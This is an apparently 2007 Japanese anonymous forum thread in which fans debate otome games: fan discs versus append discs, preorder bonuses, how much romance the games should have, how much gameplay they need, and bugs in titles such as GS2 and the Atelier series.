なので、追加キャラいてもいいけど、大筋も変えてくれと思う
本編に+αするものが追加ディスク、そうでない新しい話なのがファンディスク、
それら全てや場合によってはドラマCDなんかも含めた物が派生商品、でないかな?
>そうでない新しい話なのがファンディスク
そうなんだ。
ファンサービスに徹したお遊びをファンディスクというのかと思ってた。
外伝小説みたいな版権二次に近いものかと…
>>473 十六夜=基本仕様は無印ルートに+@(以下箇条書き)
・無印ルートは何もしないと2人のみ、無印ディスクがあると全員
・無印攻略キャラの内8人が短い新規攻略ルートと新ED
・追加ルートで新規攻略キャラ追加
・無印で攻略出来なかったキャラのED追加(無印ディスク必須)
迷宮=無印ディスク必要無し、仲間がみんな現代に来たら〜と言う内容
・攻略キャラは無印で落とせた10人の内9人
>>475 遥か3発売当時、すごく興味があったんだけどお金なくて買えなかった
いつか買おうと思ってるうちに、どんどん追加ソフトが出てきて
今じゃ一気にプレイするとなると3本同時に買わなきゃならない始末_| ̄|○
遥か3は、新規購入者に優しくないなとつくづく思うよ
廉価版なんて出さなくていいから、あれらのソフトをせめて一本にまとめてほしい
■追加ディスク(アペンドディスク)
・本編に内容(イベントや攻略可能キャラ)が追加される
・本編を持っていないとプレイできない(両ディスクの読み込みが必須)
■ファンディスク
・後日談等、おまけ的内容が主。
・本編を持っていなくてもプレイできる。
・本編をプレイしているユーザー向けに作られている(ネタバレも含んでいる場合がある)。
■派生ソフト
・同じ世界観やそれに伴うシステムを使って作られている。
・キャラも全く一緒とは限らない(一部キャラがゲストとして登場することはある)。
こんな感じかな?
あまり自信はないんで補足とか修正とかあったらヨロです。
482 :
470:2007/10/02(火) 16:40:30 ID:???
ごめん、遅くなったー
>>481さんや皆さんが言ってくれてる感じです
追加も派生も嬉しいけど、出す気マンマンだと引くなw
移植に追加要素は確かにキツイ。でもそうしないと話題にならないから仕方ないかなって思う。
自分はそれよりおまけ商法(CD)が嫌だな。声オタじゃないけどあのキャラ好きになりそうと思うと揃えたくなるんだ・・・
オマケ商法、例えば初回特典とかだったら
その初回さえ予約購入すれば良いけど、
各店舗特典は本当にやめてくれ
オマケは釣られないが、追加キャラは地味に悩むな
といいつつ、DSGSは結局買ってないが
各店舗特典も、実際声ヲタしか釣れてないからなぁ
その声ヲタも、犯罪に手を染めてお手軽に集めるようになってるし
数年後にはドラマCDは廃れる気がする
>>480 いや、廉価版は大事だよ
3と十六夜5600円で買えるもん
>>486 ドラマCDって店舗特典のことだよね?
私は特典商法自体が近い将来廃れると思う
中古を利用せずにコンプリートすることは難しい→企業側の利益が少ない
だしねー
>>480 なんで一気に買わなければならないの?
自分もある程度たってから遥か3買ったけど
本筋がつまらなかったら派生も買わないし、逆も然り。
個人的に遥か3の派生ソフトはシナリオスレや同人サイトで十分だったな。
コルダも理事長には全く興味ないから追加で落とせるようになってもふーんとしか思わないし。
どんなゲームも買わなければいけないなんて決まりはないんだからさ
好きなゲームだから義務感が出ちゃうんじゃない
義務感なんて馬鹿らしい
つまらなければそれだけだ
どうせ使うなら、別の新しいゲームを買うよ
その辺は個人の趣向なので否定したって仕方がないでしょ
特典商法についてはメーカーもだけどショップ側の問題もあるよね
通販が主流になればなるほど、顧客を引きつける何かを準備してってなるんだろうから
廃れ切る事はないんじゃないかな?
ドラマCDは声ヲタ相手に有効なんだろうけど、
どうせつけるなら映画DVDみたいにNGとかボツネタなんかを収録した
CD-ROM(もしくは冊子)を作ってくれないもんかなw
特典商法って、普通に出しても売れなさそうな物や
新規の場合についてくる印象だな、何となく
特典商法は無くならないと思う
乙女ゲームより売り上げの良い一般ゲームやギャルゲエロゲですら特典商法やってる訳だし
開発費用も違うっちゃあ違うけど
一般の特典商法でウヘァってなったのは
テイルズだったな
去年だっけ? 三作品予約購入者のドラマCDプレゼントって
でもそのソフトが大好きでたまらないときは気にせず買ってしまうんだよな…
ゲームキューブででたテイルズのためにゲーム機+ソフトセットを買って
その1年後に出たプレステ用の同ソフトも定価で予約してかったっけ…
好きなゲームを買うだけでさらに特典までついてくるなんて嬉しい!と思ってた
テイルズは好きだし、揃えてたけど、
もう無理。ついてけない。
なんだよ、アップルグミDVDって…。
>>492 うっかりしてて股間直撃する王子キャラとか
花束もらってVサインして終劇とか想像した
店舗側の要望とかも絡んでくるんでしょ?>店舗特典
なんか滅背とかは絶対なくならない気がするよw
そういやPS&PS2のアプリコット、TAKUYOのくせに
店舗別初回特典じゃなかったっけ…
(付く店舗自体は決まってたかもしれんけど)
それ以前にも以降にもやってるから、ソニー側の希望か?
たくよwwww
タクヨといえば…。
コンシューマーでコンスタンスに乙女作ってるのに、印象がスゲー地味だよな。
最近は地味で特徴ないと
本当に埋もれるからね…
でもたくよは地味にファンがいる感じがする
だからコメディっぽさも抜けてそうな次のヤツがどうなるか気になるな
購入スレ見て思ったけど
乙女ゲで糖度低めで恋愛メインじゃない良作ってほとんどないもんだね…
恋愛要素薄かったら、乙女ゲーじゃなくて別ジャンル扱いになるんじゃねーの?
恋愛要素薄いかどうかと
恋愛がメインかどうかは別じゃない?
恋愛メインじゃなかったら乙女ゲーじゃなくない?
恋愛がメインでないなら、そのゲームのジャンルは
メインになるものになるだろ、常考
でもギャルゲで名作判定されるものの中には
恋愛メインじゃないものは珍しくないよね。
カバーする範囲の違いなのかな…
コルダとかは?
リリーなんかは結構微妙
糖度っていっても、人によって捉え方が違うからなぁ
コルダは無印→2→餡子でどんどん変わってる
ああ、ごめん。
コルダ無印ね
アレはかなり糖度低いって言われてるじゃん
と
でも、続くにつれてゲーム性<<糖度になってるよね、コルダも結局は
ユーザーの上げる声で一番大きいのはやっぱりそこなのかなあ
というより、糖度上げたほうがシステムや話練るより楽なんだろうさ
甘ったるいテキストつくって密着度の高いCGブチこんどきゃ
うきゃうきゃ大喜びしてくれるんだから
いやそんな邪推じゃなくww
乙女ゲーなんだから、やっぱり女の子がちやほやされた方がイイ!
って思ったんじゃないか
実際コルダは2出る前は
甘いのが好みの人には物足りない
って言われてたぐらいだし
逆に2発売以前からコルダファンだった人には
糖度低めの感じが好みの層もいたと思うんだが
その辺は2でどうなったんだろう? やっぱり不満?
んー、自分は最も糖度が低いPC版コルダから入ったんだけど…
ゲーム性が落ちた事とも併せて、2は途中で積んだままコルダは切ったな…
私も2はついていけなかったなぁ
1人クリアしてそのままになってる
アンコはしらん
PSPへの移植待ちしようと思ってたら
評判が悪いんで困ってる
糖度は高くなってもいいけど
あの「ちょっとがんばらないとヤバイ」
って絶妙のバランスが好きだったからなぁ
パレドゥレーヌが糖度低めで恋愛メインじゃない、に当たると思う
良作かどうかってのはプレイした人間次第だからなんとも言えない
どのゲームでも「糖度が低いと物足りない」系のレビューみると不快感。
べたべた優しくされたり密着したりエロがあったりすれば
それでいいのかと……安い女ですねwって。
>>523 気持ちは分かる
でも最近は開きなおって、糖度が低いと書かれてあったら
あえてそれを買うことにしてる
>>524 その手があるか!w
じっさい糖度低い・恋愛薄めって書かれているゲームに良作が多いよな
糖度(甘い展開とお姫さま扱いか、逆に乱暴に奪われる系)とエロがあればいい
そんなユーザーばっかりでそんなゲームのほうが売れるこんな世の中じゃ
乙女ゲーのシナリオが向上するはずない
甘いのとエロは同等に考えちゃ駄目だと思う
ベタベタに甘やかされたり、分かりやすい口説きが良いって人も居るだろうし
エロは、フルボイスになってから増えた様な気がする
乙女ゲーユーザー向けというより
中の人にエロいセリフや意味深なセリフを言わせたい聞きたい層向けかと
このスレの姐さん方に言いたい
もう乙女ゲー卒業して一般ゲーに行ったら?
自分は一般ゲーから乙女ゲーに流れてきたからかな
糖度低いの望む気持ちがわからない
それなら一般ゲーで満足してるよ
こっちには来てない
>>527 一般ゲーやってるよ
乙女ゲーは数あるゲームジャンルのひとつだと思ってるから
糖度高いだけになってしまうとつまらない
逆に一般ゲー全くやらない人だと、糖度低いなら
何のために乙女ゲーやるんだって思ってしまうかもしれないけど
カレー好きの人が皆
シーフードカレーが好きじゃないように
乙女ゲーだけが好きって人ってのも居るんじゃないだろうか
一般ゲーの恋愛要素みたいな「おまけ」じゃなくて
薄いなりに、片想いとか
好きになり初めの機微を楽しみたいんだよね
というか、一般ゲーに恋愛要素なんぞ求めて無い
>>527 一般ゲーは一般ゲーとしてプレイしてる
最近はあんまりいいのがなくてプレイしてないが
一般ゲーに恋愛要素はあってもなくてもどっちでもいいし、
本気で恋愛要素を求める奴はいないだろ
なんでもありの雰囲気になったらいいと思うんだよね
男性向けエロゲが「エロさえあればなんでもあり」として発展していったように
「女主人公で、男性との恋愛さえあればなんでもあり」くらいの縛りでさ。
攻略キャラはほとんどメインの一人で、彼とひたすら甘酸っぱいやりとりを
楽しむゲームもいいし、逆に浮気っぽい女の子があっちこっち微エロしながら
本当の恋をさがすゲームでもいいよ。
ファンタジーじゃなくても、時代ものでも現代ものでも、
人間関係がメインならミステリーとかSFでもいい
「乙女ゲームはこうでなくてはいけない」という空気をユーザーが作って、
メーカーが追従する形になるのは嫌だなあ
攻略キャラがメイン一人のゲームってやってみたいな
幼い幼馴染み時代から結婚ぐらいまであったらたまらん
育成要素入れて、主人公の魅力(タイプ)が変わるようにして
ついでに要所要所で主人公の好みを選ぶと
相手の男の成長も変わるようにすると、何度もプレイ出来そう
幼少期は格好いいスポーツマン好きだったのに
少女期にはクールな男の子好きで、男の子はツンデレスポーツ少年になるとか
妄想スマン
でもキャラだけが多くて、豪華声優祭みたいなゲームより
一人をじっくり攻略してみたい
男の子が成長するとタイプによって中の人が違うんですね^^
中の人は一人でいいんじゃない?
ムスコゲーを批判するわけじゃないけど
成長するタイプで声が変わるのは変な気分だったからさ
自分は一筋タイプなんで、せっかくゲームやっても一人攻略したら後できなくなるんだよね
>>532みたいなのいいかもしんない・・・
物によっては、一筋でプレイしたいなと思う
GS2はどうも馴染めなかった
事故チューしちゃうとそのキャラを攻略しなきゃいけない気になる
つか他のキャラ攻略できない
最近はどれも
途中で個別ルート入る作りばっかりなのが
面白みに欠ける。
それが今の恋愛ゲームの主流だし、作る方も簡単なんだろうけど
お金と人数、そして時間さえあればいろいろやれるだろうけどね
なにより時間だと思うが昔より作る側も体制化が進んでて
ある意味それがネックになってるイメージがあるよ
>もう乙女ゲー卒業して一般ゲーに行ったら?
これ、認識の違いな気がしたのは自分だけかな?
「乙女ゲー = 女性向恋愛シミュ」と考えているか
「乙女ゲー = 女性をターゲット層としたゲーム」と考えているか
前者を求めているなら比較的「ゲーム性はそんなに必要ない」と思いがちだろうし、
後者を求めれいれば「もっとゲーム性があるのも出してくれ」と思ってもおかしくない。
かといって、後者の方を「女性向けゲー」というと、
BLや乙女18禁も含んでの括りになってしまうんで
その辺の要素を含まずに「一般ゲーに近い、女性をターゲットとしたゲーム」
が欲しい場合「乙女ゲーでゲーム性を高めてくれ」という要望になるんだよね
もちろん一概には言えないし、あくまでも個人的に思ったことだけど。
うーん、自分もヘビーゲーマーだけど、
上でも出てたように恋愛要素を楽しむために乙女ゲーやってるんだよな。
RPGを楽しみたい、SLGを楽しみたい、とかそういったカテゴライズの一つに
恋愛ゲー(=乙女ゲー)があって、ただその中にあって乙女ゲーだけ
乙女ゲーだけやたら作りというか奥行きというかがショボく感じるものばっかりだから、
もうちょっとゲームとしての質が向上してくれればな、と思ってる感じ。
一般ゲーには恋愛要素は別にあってもなくてもいい。
糖度低くなければシナリオや世界観が成立しない
っていうタイプの出ればまた違ってくるかも。
>>541 ここが女性向けゲーム一般板で
この板でBL話題も取り扱ってる以上、
含むんじゃないの?
18禁も板分かれてるとはいえ女性向けゲーム大人板だし、
含まれるんじゃない?
女性向けゲームに乙女ゲーは含まれるけど
女性向けゲーム全てが乙女ゲーではないって感じで
んで、ゲーム性求める人は541の言うとおり、女性向けゲームがしたいんだと思う
そういえば、乙女ゲーで慟哭みたいなトラップアドベンチャーないよね?
かなり難しそうだけど、出れば是非やってみたいんだけどなぁ・・・
>532
メイン一人だけではないけど、幼年期から〜って作品だったら
ギャルゲーで『続・初恋物語』ってのがあったよ
(メインヒロインの初恋物語って事で・・・)
あと、超遅レスだけど
>301
KIDのゲームは、EDのスタッフロール等でどのチームが作ったか大体判るよ
やっぱメモオフGSかー
電撃GSフラゲに期待
私は乙女ゲーを「女性向恋愛シミュ」と捉えているけど、
それでも最近の「とりあえず声優にエロい台詞を言わせとけ」「密着度の高いCG入れとけ」みたいな
ゲーム会社の考え方にはちょっとうんざりしている。
「微エロ入れときゃ満足するだろ」なんて感じにユーザーがナメられてるような...。
女性向けとはいえゲームなんだから、しっかりしたゲーム性が欲しいし、
恋愛シミュとはいえ、シナリオがよくなきゃ萌えられない。
メモオフといえばメモオフメモオフ言われているが
タイトルは『ユア』なんだからユアでいんじゃね?
略称なんて勝手に定着するもんだし
第一、議論スレでいうようなことでもないでしょ
オフッ!
Yourでいいと思うね。
メモもGSもわざと浸透させようとして使ってきたのがミエミエだし
虎の威をかるっつーか便乗つーか。
その点だけは白紙で乗り込んできたDUELのがマシw
明らかに内部情報ながしに来てる社員らしきのはいるし
定着させようと必死なんだろうね
GS表記を初めて見たのが、ぼくものだったものだから
特にパクリだと思わなかった自分
ぼくものはフォーガールじゃないか?
あの時の宣伝の必死さは忘れないw
ぼくものって、For Girls じゃ?
牧場物語はforガールじゃね?あれ?また関係者??
ぼくもの好き多すぎ、ワロス
でも、ああいう育成系も楽しいよね
ああ、そっか
ごめん、サブタイトルはゴッチャになるというか
どうもにも覚えてられん
牧場みたいな箱庭的な乙女ゲーは難しいのかな
>>558 水撒きが楽しすぐる
あれは萌えはないが燃えるよね
>その点だけは白紙で乗り込んできたDUELのがマシw
吹いたが
たしかにその通りだw
DUELの心意気は買う。
作品を買うかはわからない。
DUELを買う前にときメモGSで練習しといた方がいいのか??
DUELを買った後でときメモGSを買うべきか少し悩むw
真面目スレですまん。
アトリエシリーズも好きだったけど、あれも恋愛要素は薄めかな
ああいうゲームはつい育成に熱が入ってしまうけど楽しめる
メモオフGSの時代が来ます
PS3が値下げ&PS2互換のないPS3を発売するそうだけど、乙女ゲーには関係ないだろうか??
まだまだ先の事とは言え、いつか来るPS2の終わりに向けて気が気じゃなくてw
雑談スレになったな
>>568 まぁ、乙女ゲー市場に関係あるかといわれると、あまりないんじゃないかな?
その辺について詳しく知りたいならゲハ板行った方がいいと思う。
>>561 君島で萌えまくった私が通りますよ…
ヴァルツとマルクとシバがすんげー好みだったよ…
他の乙女ゲーでも滅多にないくらい萌えたさ…
>>566 アトリエシリーズは好きだったけど
フリーズのアトリエwで、二度と買わないと決めた。
牧物とかでバグにも慣れていたし、大手メーカーでなければ
資金の関係上、なかなか回収しないとは分かっていたけれど
あれは酷すぎる。育成を楽しむ前にバグの回避だけで気疲れしてしまう。
でも、乙女ゲーとかにもけっこうあるよね、酷いバグ。
GS2のバグの酷さにも泣いたな。
あれなんかも公式サイトじゃ、まったく触れてないよな。
>>572 その点コルダはバグを認めたよね。
肥は潔いと思う。
GSはやっぱこれからはメモオフGSだね。
>>566 リリーが一番恋愛要素強かったはずだけど、
ユーザーには恋愛要素強かったリリーよりかなり薄めでも一応あったエリーの方が
好評っぽい
マリーはほぼないんで別物だろうけど
コルダの次にメモオフGSだね。
>>573 潔いと言っても、この間の戦国無双の
SCEとの責任のなすりつけあいを見てるからなー。
バグが酷いとかって問題じゃないでしょ、
起動すらしないのに返品対応しないって。
そして、わざわざ全く関係のないユ
アメモオフに話を持っていくのは
必死な社員なのか、それを装った愉快犯なのか。
どちらにしても、見苦しいw
乙女での酷いバグって、PCゲーのHDDクラッシャーなアレしか知らないんだけど
他にも何件かあるのかな?
些細なバグならPCゲーじゃよくある話だけど、
パッチが当てられるからこそギリギリ許されてるんであって、
CSで同じ事をやられると困るんだよね。
携帯ゲーでは最近パッチを当てる、なんて話も聞くけど、
PCみたいに環境依存ってわけじゃないんだから、
その辺はもっとしっかりして欲しいわ。
>>577 いや、携帯も環境依存するよ。機種によって動作が違う。
ゴメン携帯ゲーって電話じゃない方か
>>577 乙女ゲとしては微妙だけどマジでリーズはやば過ぎだった
PS系でもよく固まるってきくけど、あんなものじゃない
最早フリーズはゲームの一部になってた
ほかにも図鑑埋まらないとかもうホントにぬるぽって感じ
GSDSもアルバムの一部がぶっ壊れてるとか、DSはちょこちょこ不具合きくね
難しいのかな
GS2のバグもひどかったらしいのに回収もしなかったんでしょ?
小波もやる気がないにも程があるな
>>581 音楽が出なかったり、イベントと誕生日がかぶったりしたらしいね。
デバックもしてないんだろ。
DSGSもバグがあるよ。やる気ねーなw
>>579 お察しの通り、携帯アプリではなく、PSPやDSのつもりで書いてた。
こちらこそ、書き方が悪くて混乱させてしまったみたいで申し訳ない……。
GS2はバグバグ言いたい人が話しを大きくしてしまった印象がある。
発売が夏だったから熱暴走で読み込みが安定しなかったのをバグだと騒いだり。
プログラムのミスはあったと思うけど、それもバグと言うのかな。
擁護になるのでこの辺で。
音楽が出ないのはともかく、イベントと誕生日が被るってのは、
バグじゃなくて、単なるチェックミスじゃないか?
チェックミスもバグでしょw
そういうゲームをよく売れますねぇ
GSDSのアルバムぶっ壊れもひどいね
せっかく回収してその仕打ち・・・?
チェックしてないんでしょーw
さすがやる気のない企業は違うねーw
貼りついて合いの手入れてる人がいるなw
どのゲームにも多少の不具合はあるけどね。自分はあんまり気にしないけど気にする人はとことん気にするのかね。
DSのときめもはわからないけどDSソフトはちっちゃいバグが多い。どうぶつも森は時々フリーズするしゼルダのアイテムが使えなくなるバグもある。
それでもあの小さいソフトにこんなに情報が詰め込まれてるのかと思うと怒る気にならないw
合いの手ワロスw
そう言えば今日辺り電撃GSのフラゲか…
宣伝なのか知らないけど逆効果ですから…
何という自演…
コルダもGSも迷惑だ、とだけ言っておく
>>592 フリーズもバグなのとちょっとした不具合なのとソフトの差込具合の3種類がある気がする
経験的に処理がアホウで固まるのがバグ、
ハードとの関係で処理がとんじゃうのがちょっとした不具合
差込具合はもうハード(とソフトそのもの)の問題だね
リーズのフリーズはプログラム自体にバグはないんだけど、
多分組み方がメチャクチャのツギハギだらけでうまくつなぎの処理ができてないんだと思う
アトリエは大好きだけどリーズだけはどうにもならなかった
ザールブルグは今も遊ぶ
ぼくもの好きもいるみたいだし、あんな感じの恋愛強化版を
出さないかな、マーベラス&ガスト
牧物はやすらぎがそれなりに恋愛強化されてたけど
Wii版って辺りが引っかかって数が伸びてない感じかな?
wiiはもうやってないなぁ
最初は面白かったけど又PS2に戻るw
ぼくものも好きだけどおで森が出来てからは
そっちがメインだなぁ
おで森の乙女ゲーが出たら買う
>>599 おいでよ、イケメンのry
でも実際あれが乙女ゲになったら腹立つと思うよw
家具くれとか風邪引いたとか…
貢がせられるからw
ライフシミュ系なら、PCでSims2って手もあるよ。
畑も作れるし、釣りもできるし、恋愛も、結婚もできる。
寿命があるのが嫌なら、成長を止めることだってできる。
問題は、性別からなにから選べるけど
やっぱり乙女ゲーではないってところかw
>>601 見てきた。ショップ経営面白そうだ。
ゴージャスパックとか楽しそう。
PCだとダウンロードで手軽に出来るのは魅力だね。
それこそバグもパッチを当てられるし。
>>600 イケメン達に手紙を出したらどんな返事がくるんだろうw
そしてゴミ捨て場から家具やアイテムを拾う主人公w
バグといえばマメプリが最大じゃないの?
回収可能なんて初めてのことだし。
GS2の方が騒がられるのは認知度とプレイヤー数の違いなのかな
>>603 想像だけで笑えるw
どんどんぐりもイケメンだったら一年に一回しか会えない…
ひどいバグってほどでもないが、そういえばアンジェリークトロワの
おまけ(コンプ後にこれまでのEDが見られる)で特定キャラのEDシーンを見ようとすると
別のキャラのEDシーンになってしまうというのがあったなw
で、それに対するコーエーの対応が「重要なものではないので交換はしません&
○○(バグで見られないキャラ)のED直前のデータを保存しておいてください」だけだったという
>>607 それも酷いなぁ
もしその『別のキャラ』ってのが未攻略だったら
盛大なネタバレじゃないか
修正して「愛蔵版」として出したというアレかw
その愛蔵版も、プレストーリーのアニメ再生中に音声が乱れるという不具合起こしたという
冗談のような本当の話(こっちはさすがに回収したが)
すごいな
(PSソフトの)Sp1の廉価版の中身がSp2だった
…というコトがあって、
店頭に交換するって張り紙が張ってあった記憶が。>コーエー
話を豚切りしますが
最近、ユアオフの板とかを見てるんだけど、
ギャルゲと乙女ゲーの最大の違いって、主人公の扱いなのかなと
思うようになった。
乙女ゲーって良くも悪くも、主人公第一だよね。
(賛否はおいといて)名前変換の事とかいつもスレの話題に上るし。
ギャルゲってそういうの、あんまり気にしてない感じがするね。
ギャルゲも男ユーザーの顔を消したり、主人公=ユーザーの夢を
見られるように作っている気はするよ。
ただそれは画面上だけで、女性を次々獲物にしていくような
醜悪な男が主人公だったりするのをみると、乙女ゲーとは
まったく方向性が違うかも。
乙女の主人公は個性があっても極端すぎないのが好まれて
DQN、厨二病っぽいとそれだけで拒絶されるきらいがある。
主人公=プレイヤーキャラなのにDQNは嫌ってのもあるし
女は女に厳しいというのもあるんじゃないかな。
ギャルゲは女の子が可愛くてエロければ、何でもありってイメージがあるな
もちろん、ちゃんと作った物の方が好まれるんだろうけど
主人公第一っていうか、別に自己投影はしないが
自分が扱ってるキャラを目の前で邪険にされて嬉しくはない
で、目の前にいるから、あんまり主張の激しいタイプは見てて疲れるって感じ
個人的には
ギャルゲの場合、最近流行りとか、話題になった、というソフト以外にも
かなりの本数があるから、一概には言えない部分かな、と思う。
選択肢が豊富な分「嫌ならやらなきゃいい」で済んでしまう感じだ。
>>613 ギャルゲは主人公を徹底的に空気キャラにするよね。
あれは、男の方が主人公に自己投影をしがちだからだと思ってる。
女の場合は、逆に主人公を客観視しがちなんじゃないのかな?
一人のヒロインキャラとして主人公を見つめている気がするよ。
例えば、好きキャラ同士がくっつくのを見て悶えるのって
女性特有の性質みたいなところがあるし (少女漫画の歴史とか見てると…)
所詮、乙女ゲーは恋愛漫画やアニメにない要素を補う道具にしかすぎないと思うんだよね。
だからこそ乙女ゲープレイヤーは
恋愛ストーリーのヒロインたる主人公には
性格や設定を適当にしてほしくないんじゃないのかなー。
それに自分好みのキャラとくっつく女の子は可愛い方がいいしね。
…ちょっと何が言いたいのか分からなくなってきたorz
言いたいのは、乙女ゲーには好みの男キャラはたくさんいても
それに合うヒロインを見つけるのが難しいってことなんだorz
>>616 同意
あと、ギャルゲーが個性あり主人公もあまり何も言われず許容されてるのは
エロゲーでAIRとか個性あり主人公ゲームの爆発的ヒットがあるからだと思った
それにAIR以前にも昔からアリスソフトとかが個性あり主人公のゲームでヒット飛ばしてたし
昔から個性なし主人公ばかりだったわけじゃなくて
すでに個性あり主人公を受け入れる土壌はあったと言えるんじゃないかと
ここは乙女ゲーと同じだけど
正直恋愛要素がメインってのも嫌なんだよなー。
RPGとかでいうなら戦闘がメイン、んでちょっと恋愛要素があるってほうが萌える。
んー、そういうのは乙女ゲーでなくて
いわゆる「乙女要素のある一般ゲー」というやつでないの?
そうだね
方向性が違うと思う
恋愛要素がメインじゃない乙女ゲーったら
戦闘しても成長せず、ボス戦の勝敗関係なくEDを向かえるRPG
だと思うんだが
元々乙女ゲーに合わないんじゃないか?
いや、全然違うだろw<戦闘しても成長せず、ボス戦の勝敗関係なくEDを向かえるRPG
どこをどうしたらそうなるのか是非詳細かつ綿密に説明願いたいw
私も恋愛メインの乙女ゲーは肌に合わないな
一般ゲームにちょっと恋愛要素あるくらいが一番萌える
>>623 逆に聞きたいんだが、恋愛メインじゃない乙女ゲーってどんなの?
>>619>>623 その一般ゲームの恋愛要素の部分を抜き出して作ったのが恋愛ゲームであって、
そういうのが嫌な人は普通に恋愛要素のある一般ゲーやってればいいと思う。無理してまで乙女ゲーやることない。
今色んなゲームあるからね
無理して乙女ゲームに縋らなくても恋愛要素のある一般ゲームはたくさんある
>>623 じゃ、一般ゲーをやってろ
乙女ゲー板で提議する問題じゃない
FFとかFFとかFFとか
>>624 たとえばギャルゲの卒業なんかは恋愛過程なんかなく、
パラ操作と細かいイベントで作られてる
恋愛過程なんかはユーザーの脳内によって補完される
そういう点で言えばときメモはデートを繰り返してはいるけど恋愛が主体とは言いにくい
コルダもそう
一般ゲームで女性も楽しめるとなるとサモナイとかぼくものとかかな
メインは別にあるけど女主人公で男性キャラが落とせる
というか、皆乙女ゲーって恋愛小説みたいのしか認めてないの?
女性向けゲーム=乙女ゲーだと思ってたよ
>>623 その例えは極論かもしれんけど間違ってはないと自分は感じたな。
乙女ゲーの肝は恋愛な訳で、恋愛がメインじゃない乙女ゲーって確かに、
RPGのメイン要素である成長要素だの
戦闘結果だのが関係なくなったRPGみたいなもんと言ってもいいんじゃない?
テイルズとかテイルズとかテイルズとか
>>631 その説明見てると小説読んでれば良いんじゃない?
って思っちゃうんだけど
君の言う乙女ゲーってゲームである必要あるの?
つか、あくまで「恋愛メインは苦手」ってだけで「恋愛がいや」ってワケじゃないんだから
RPG部分なくなっちゃったらまったく別の話じゃん
乙女ゲーで恋愛要素なければ良いのにっていってるなら分からなくもないけど
>>629 ときメモは知らんけど、コルダはぶっちゃけ育成頑張らなくても
キャラEDは見られるでしょ?
それはキャラとの恋愛を主題に作られてるって事だと思うよ。
育成に関わる部分は、パラ調整しないと見られないイベントがあるのも含めて
やり込みに入る部分だと思う。
>>629 乙女ゲーが苦手なんじゃなくて、女性向けのノベルゲー、アドベンチャー系が苦手なのかな?
私もどっちかっていうと選択肢だけで進むゲームより、シミュレーション要素があったほうが好だ
>>633 だから極論だけど、という事で。
RPGについてそのへんを加減した形というのをを想像出来なかったから。
小説読んでれば…というのについてはまた別の話と自分は思う。
小説は双方向性が皆無だし感情移入の形も違う。
>>632 女キャラが主人公のテイルズってあったっけ?
>>634 一般ゲームだってフラグさえ立てていけばキャラEDみられたりするよ
となりとその一般ゲーは恋愛を主題にした乙女ゲーなの?
つか、ココの住人が「一般ゲームの恋愛要素の部分を抜き出して作ったもの」
で納得してるとはオドロキだ
皆不満いっぱいのように見えてたけど、ゲーム部分は初めから必要としてないの?
ではなにを必要としてるの?
なんでこんな基本的なことイチイチ説明しなきゃならないの
恋愛メイン=乙女ゲーでしょ
>>638 君の言う恋愛メインとは具体的にどんなこと?
というか、
「乙女ゲーム=女主人公による恋愛メインのゲーム」
と考えてる人が大半だと思ってたけど。
その上で、ゲーム性が高い乙女ゲーが欲しいねと話してるんだと思ってた。
少なくとも自分はそうだな。
>>629 サモンは落とせるゲームじゃないからなぁ
その言い方はちょととファンとしてイヤンな感じ
小説とゲームの違いは「自分で主人公を動かせる点」だと思ってる
だからAVGでもSLGでも主人公を好きに動かせるならゲーム性はあると思ってる
セックス!!
>>640 女主人公で男キャラと最終的に恋愛関係(又はソレに非常に近い関係)になる
ゲームなら乙女ゲーだとおもったけど、それではだめなの?
>>639 私は、だけど
シミュとかノベルゲーとか色々あるけど、全ての選択が結果的には恋愛に結びつく=恋愛メイン?かな…
ごちゃごちゃで自信ない…
>>644 んー、自分の乙女ゲーとしての判断基準は、恋愛の経過をイベントCG等使いながら
多くのイベントを使ってしっかりと描いてあることなんだよね。
恋愛がしっかり描かれている=恋愛メインというのを感じるし。
でもってそういうのは乙女ゲーに求めてて
一般ゲーにはむしろ恋愛要素はあんまり求めてないんだ、自分の場合。
使い分けというかプレイ分けみたいな感じになってる。
というか恋愛ゲームというものは主人公と攻略キャラの恋愛眺めてニヤニヤするものでしょ
アクションやりたければACTやるしシミュレーションやりたければSLGやるし
フィールドというかジャンルが違うんだから不毛でない?
みんなと自分の意見が100%同じじゃないと
寂しい子がいるんだろう
>>629 ゲーム性と恋愛要素がかみ合わないんじゃなくて
捉え方の違いじゃないかな
コルダやGSを恋愛メインのゲームとしてプレイしていたら
育成するのも男の子に片想いしている過程と見れるし
629の言うように主体では無いと思ってプレイしていたら
自分磨きの結果、登場キャラの一人に告白されたと感じるかもしれない
他人が恋愛小説しか認めてないんじゃなくて
629が恋愛に固執せずゲームをしているだけじゃないだろうか
乙女ゲーがどーのじゃなくて、ただのプレイスタイルの差じゃない?
なんか恋愛要素が薄いことと
最後まで距離感保ったままの恋愛を混同してる人がいないか?
私は乙女ゲーって
>>644のイメージだなあ
>女主人公で男キャラと最終的に恋愛関係(又はソレに非常に近い関係)になる
ゲーム要素の高い低いは、そのゲームが持ってる個性で決めればいいと思う
ストーリーを味わうのがメインなら、ゲーム性は高くなくてもいいし
女性向けらしいゲーム性?にこだわるなら、ストーリーはおまけでもべつにいい
>>647 だからそれ言っちゃうと「乙女ゲームにゲーム性イラネ」ってことを肯定することにならない?
じゃ、それゲームじゃないじゃん?ってならない?
>>646 恋愛イベントとCGがあるかないか?
確かに一般ゲームでは恋愛イベント(っぽいもの)はあっても
CGまであるのはみたことないかも
ところで「一般ゲー並みの恋愛でいい。恋愛メインは苦手」
ってのは一般ゲームで恋愛やりたいってワケじゃないと思うよ
少なくとも私はそう。
一般ゲームにある恋愛レベルの薄さが肌に合うって人間もいるってだけ
恋愛はあんま突っ込んだ話されるとそれぞれの感性で色々違うから
「いや、そこでその反応はどーよ」とか「うだうだうだうだ言ってんな!!うぜぇ!!」とか
なっちゃうんで私は恋愛メインは苦手
って話
前に微エロでも似たような話したけど、
つっこんだ内容が欲しけりゃ2次創作漁る、だからゲーム中ではあんまり突っ込んだ話はやらないで欲しい
って人間もいるってこと
もちろんがっつりみっちり欲しい人もいるんだろうけど
それは単に嗜好の差だと思うよ
>>652 アナタノモトメルゲームガミツカルトイイネ
>>653 君は理想のゲームにめぐりあえたのかい?
そりゃよかったw
まあ、Wikipedia見る限りは
やはり「女主人公の女性向恋愛ゲーム」といった捉え方が一般的みたいだけど。
自分も微エロはもちろん、台詞さえ萌えられれば接触もなくてもおkな方だけど
一般ゲーではそこまで萌えは感じないんだよね…
でも乙女ゲーではあれやらこれやらイベント見てる内に萌えてくるという。
こればかりは理屈じゃない部分なんで上手く説明できないんだけどw
>>651 同意だが、
小説でもなく漫画でもなく乙女ゲームである以上、ゲーム性は高くあって欲しい
